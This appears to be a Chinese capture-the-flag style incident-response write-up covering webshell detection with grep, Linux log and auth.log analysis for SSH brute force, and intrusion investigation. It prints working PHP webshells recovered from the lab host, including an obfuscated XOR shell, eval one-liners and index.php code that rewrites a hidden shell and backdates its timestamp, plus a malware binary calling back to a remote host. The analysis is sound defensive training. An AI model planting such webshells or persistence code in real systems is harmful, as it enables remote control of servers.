玄机应急响应 第一章 Webshell查杀+Linux日志分析+Linux入侵排查
Webshell查杀
//搜索目录下适配当前应用的网页文件,查看内容是否有Webshell特征
find ./ type f -name "*.jsp" | xargs grep "exec("
find ./ type f -name "*.php" | xargs grep "eval("
find ./ type f -name "*.asp" | xargs grep "execute("
find ./ type f -name "*.aspx" | xargs grep "eval("
//对于免杀Webshell,可以查看是否使用编码
find ./ type f -name "*.php" | xargs grep "base64_decode"
godzilla的webshell标志
@session_start();
@set_time_limit(0);
@error_reporting(0);
这三行代码主要用于隐藏病毒活动并确保其能够长时间运行而不被发现。哥斯拉病毒通常会通过Webshell或其他漏洞注入到服务器中,然后使用这些命令来掩盖其存在并执行进一步的恶意操作。
Db文件隐藏木马
/var/www/html/include/Db/.Mysqli.php
免杀马查询
查询日志文件
root@ip-10-0-10-1:/var/log/apache2# cat access.log |grep phpinfo
192.168.200.2 - - [02/Aug/2023:08:44:59 +0000] "GET /data/tplcache/top.php?1=phpinfo(); HTTP/1.1" 200 203 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0"
192.168.200.2 - - [02/Aug/2023:08:46:22 +0000] "GET /data/tplcache/top.php?1=phpinfo(); HTTP/1.1" 200 205 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0"
192.168.200.2 - - [02/Aug/2023:08:46:22 +0000] "GET /favicon.ico HTTP/1.1" 200 1193 "http://192.168.200.47/data/tplcache/top.php?1=phpinfo();" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0"
192.168.200.2 - - [02/Aug/2023:08:47:13 +0000] "GET /wap/index.php?1=phpinfo(); HTTP/1.1" 200 1038 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0"
192.168.200.2 - - [02/Aug/2023:08:47:13 +0000] "GET /wap/template/images/mobile.css HTTP/1.1" 200 719 "http://192.168.200.47/wap/index.php?1=phpinfo();" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0"
192.168.200.2 - - [02/Aug/2023:08:47:13 +0000] "GET /wap/template/images/time.gif HTTP/1.1" 200 394 "http://192.168.200.47/wap/index.php?1=phpinfo();" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0"
192.168.200.2 - - [02/Aug/2023:08:47:13 +0000] "GET /wap/template/images/logo.gif HTTP/1.1" 200 3380 "http://192.168.200.47/wap/index.php?1=phpinfo();" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0"
192.168.200.2 - - [02/Aug/2023:08:47:15 +0000] "GET /wap/index.php?1=phpinfo(); HTTP/1.1" 200 1037 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0"
192.168.200.2 - - [02/Aug/2023:08:47:16 +0000] "GET /wap/index.php?1=phpinfo(); HTTP/1.1" 200 1037 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0"
192.168.200.2 - - [02/Aug/2023:08:47:39 +0000] "GET /wap/index.php?1=phpinfo(); HTTP/1.1" 200 1038 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0"
192.168.200.2 - - [02/Aug/2023:08:48:22 +0000] "GET /wap/top.php?1=phpinfo(); HTTP/1.1" 200 203 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0"
192.168.200.2 - - [02/Aug/2023:08:48:25 +0000] "GET /wap/top.php?1=phpinfo(); HTTP/1.1" 200 202 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0"
发现木马
root@ip-10-0-10-1:/var/log/apache2# cat /var/www/html/wap/top.php
<?php
$key = "password";
//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){
$fun[$i] = $fun[$i]^$key[$i+1&7];
}
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);root@ip-10-0-10-1:/var/log/apache2#
Linux日志文件分析
| 日志文件 | 描述 | 查看方式 |
|---|---|---|
| /var/log/cron | 记录系统定时任务(Cron任务)的相关日志。 | 查看定时任务是否成功执行。 |
| /var/log/cups | 记录打印相关的信息,CUPS(Common Unix Printing System)服务的日志。 | 查看打印服务的日志,用于打印问题排查。 |
| /var/log/dmesg | 记录系统开机时内核自检的信息,包含硬件和驱动的检测信息。 | 查看系统启动时内核加载信息。 |
| /var/log/maillog | 记录邮件服务的日志,包含邮件发送、接收等信息。 | 查看邮件系统的操作记录。 |
| /var/log/messages | 记录系统的关键事件和错误信息,属于系统日志的核心文件。 | 查看系统的各种错误和警告信息。 |
| /var/log/btmp | 记录错误登录(如失败的登录尝试)信息,二进制格式存储。 | 查看失败的登录尝试记录。 |
| /var/log/lastlog | 记录每个用户最后一次登录的时间和来源。 | 查看系统中所有用户最后一次登录的时间。 |
| /var/log/wtmp | 记录所有用户的登录、注销、系统重启、关机等事件。 | 查看用户的登录历史。 |
| /var/log/utmp | 记录当前已登录的用户信息。 | 查看当前登录用户的信息。 |
| /var/log/secure | 记录涉及验证和授权的所有操作,如 SSH 登录、su 切换、sudo 权限等。 |
监控系统的安全相关事件,尤其是用户身份验证。 |
| /var/log/auth.log | 一些系统可能使用此文件记录身份验证和授权相关的操作日志,通常替代 secure。 |
同 secure 文件,查看身份验证相关日志。 |
auth.log 文件在 Linux 系统中扮演着至关重要的角色,专门用于记录与系统认证和授权相关的所有活动。这个日志文件对监控和排查系统安全问题至关重要,因为它详细记录了系统与用户交互的认证过程,包括登录、权限提升、账户管理等关键事件。
以下是对 auth.log 文件存储内容的专业解析:
1. 登录和注销活动
- 描述:
auth.log文件详细记录了所有的登录尝试(无论成功与否)以及注销事件。这些日志信息帮助系统管理员追踪用户是否成功登录到系统,登录失败的原因,以及用户何时注销。 - 具体内容:
- 成功登录: 记录了成功登录的用户、登录时间、登录源(如IP地址、终端等)。
- 失败登录: 记录失败的登录尝试,包括错误密码、用户名不存在等失败原因,帮助管理员识别潜在的暴力破解或未经授权的访问。
- 注销事件: 记录用户的注销事件,包括注销时间和执行命令的终端。
2. 认证过程
- 描述:
auth.log文件不仅记录了每次登录尝试的结果,还包括系统进行认证时的详细过程。该过程涉及不同的认证机制,特别是对 SSH 登录和sudo提权操作的记录。 - 具体内容:
- SSH 登录: 记录 SSH 远程登录的所有成功与失败的尝试,包括源 IP 地址、尝试的用户名以及使用的密钥或密码认证方式。
- 本地登录: 记录通过控制台直接登录的尝试。
- sudo 提权: 当用户使用
sudo提升权限时,无论成功或失败,都会记录在auth.log中。管理员可以看到谁执行了哪些具有高权限的操作,避免非授权的权限提升。
3. 安全事件
- 描述: 该日志还包括与系统安全性相关的各类事件,尤其是异常登录尝试、错误的密码输入等行为,这些事件可能是系统受到攻击的迹象。
- 具体内容:
- 无效的登录尝试: 当用户尝试以错误的密码登录时,系统会记录失败的尝试。大量失败的登录尝试通常是暴力破解攻击的迹象。
- 账户锁定和解锁: 如果系统启用了账户锁定机制(例如基于失败登录次数的锁定),失败登录超过一定次数时,账户将被临时锁定。管理员可以在
auth.log中查看到账户被锁定和解锁的时间戳。 - 屏幕解锁事件: 如果使用了图形界面的屏幕锁定机制,解锁事件也会在
auth.log中记录下来。
4. 系统账户活动
- 描述:
auth.log记录了与用户账户管理相关的活动,特别是用户的添加、删除和权限变更等操作。这些信息对于管理员审计用户管理操作非常重要,防止恶意账户的创建或未经授权的账户修改。 - 具体内容:
- 用户创建和删除: 记录所有通过
useradd、userdel等命令添加或删除用户的操作。 - 用户修改: 记录任何通过
usermod等命令对现有用户进行权限修改、组修改等操作。 - 组管理: 记录对用户组的增、删、改操作。例如,向组中添加或删除用户,修改组的权限等。
- 用户创建和删除: 记录所有通过
5. PAM(可插拔认证模块)相关信息
- 描述: PAM 是 Linux 系统中用于认证和会话管理的框架,
auth.log中包含了通过 PAM 模块进行的各种认证活动的日志输出。PAM 可以控制多种认证方式,如密码验证、两因素认证等。 - 具体内容:
- 认证活动: PAM 模块的日志记录了系统通过各种方式(如密码、密钥、指纹等)进行认证时的详细信息。通过分析这些日志,管理员可以判断系统是否采用了不安全的认证方法,或者某些 PAM 配置是否存在安全漏洞。
- 会话管理: 记录与用户会话相关的事件,如用户登录时会话的创建、会话的结束等。
总结:
auth.log 是 Linux 系统中安全审计的关键日志文件,它记录了所有涉及用户身份验证和授权的操作。从登录和注销事件到用户的权限变更、系统账户活动,再到所有通过 PAM 模块执行的认证过程,auth.log 为管理员提供了一个详细的安全审计追踪。通过定期查看这个文件,管理员可以及时发现并应对潜在的安全威胁,尤其是暴力破解、非法访问、权限提升等安全事件。
专业建议:针对 auth.log 文件中的记录,系统管理员应建立定期检查机制,并配合自动化工具进行日志分析,以便迅速识别并响应潜在的安全威胁。
grep -a
# -a这个参数可以避免二进制查看报错
1.有多少IP在爆破主机ssh的root帐号,如果有多个使用","分割 小到大排序 例如flag{192.168.200.1,192.168.200.2}
cat /var/log/auth.log.1 | grep -a "Failed password for root" | awk '{print $11}' | sort -n | uniq -c
2.ssh爆破成功登陆的IP是多少,如果有多个使用","分割
grep -a "Accepted " /var/log/auth.log.1 | awk '{print $11}' | uniq -c
3.爆破用户名字典是什么?如果有多个使用","分割
cat /var/log/auth.log.1 | grep -a "Failed password" |perl -e 'while($_=<>){ /for(.\*?) from/; print "$1\n";}'|uniq -c|sort -nr
4.成功登录 root 用户的 ip 一共爆破了多少次
grep -a "192.168.200.2" /var/log/auth.log.1 | grep -a 'Failed password root' | awk '{print $11}' | uniq -c
5.黑客登陆主机后新建了一个后门用户,用户名是多少
grep -a 'net user' /var/log/auth.log.1
Linux入侵排查
find: ‘type’: No such file or directory
find: ‘f’: No such file or directory
./var/www/html/.shell.php:<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>
./var/www/html/index.php:$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
./var/www/html/1.php:<?php eval($_POST[1]);?>
# 查询到三个木马看一下
1.web目录存在木马,请找到木马的密码提交
1
# 虽然看起来有三个木马但是就一个比较明显提交对了
2.服务器疑似存在不死马,请找到不死马的密码提交
<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>
#三个木马看一看发现就.shell.php是不死马5d41402abc4b2a76b9719d911017c592解密之后是hello直接提交
3.不死马是通过哪个文件生成的,请提交文件名
0-10-4:/var/www/html# cat index.php
<?php
include('config.php');
include(SYS_ROOT.INC.'common.php');
$path=$_SERVER['PATH_INFO'].($_SERVER['QUERY_STRING']?'?'.str_replace('?','',$_SERVER['QUERY_STRING']):'');
if(substr($path, 0,1)=='/'){
$path=substr($path,1);
}
$path = Base::safeword($path);
$ctrl=isset($_GET['action'])?$_GET['action']:'run';
if(isset($_GET['createprocess']))
{
Index::createhtml(isset($_GET['id'])?$_GET['id']:0,$_GET['cat'],$_GET['single']);
}else{
Index::run($path);
}
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);
?>
# 直接就是index.php是生成不死马文件一眼出啊
4.黑客留下了木马文件,请找出黑客的服务器ip提交
chmod +x shell\(1\).elf
./shell\(1\).elf &
netstat -alntup
root@ip-10-0-10-4:/var/www/html# netstat -anplut
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 497/sshd
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 571/mysqld
tcp 0 340 10.0.10.4:22 39.144.28.46:6388 ESTABLISHED 836/sshd: root@pts/
tcp 0 1 10.0.10.4:53658 10.11.55.21:3333 SYN_SENT 1000/./shell(1).elf
tcp6 0 0 :::22 :::* LISTEN 497/sshd
tcp6 0 0 :::80 :::* LISTEN 483/apache2
udp 0 0 0.0.0.0:68 0.0.0.0:* 334/dhclient
udp 0 0 10.0.10.4:123 0.0.0.0:* 471/ntpd
udp 0 0 127.0.0.1:123 0.0.0.0:* 471/ntpd
udp 0 0 0.0.0.0:123 0.0.0.0:* 471/ntpd
udp6 0 0 fe80::e:f4ff:fe3f:4:123 :::* 471/ntpd
udp6 0 0 ::1:123 :::* 471/ntpd
udp6 0 0 :::123 :::* 471/ntpd
# 10.11.55.21:3333

浙公网安备 33010602011771号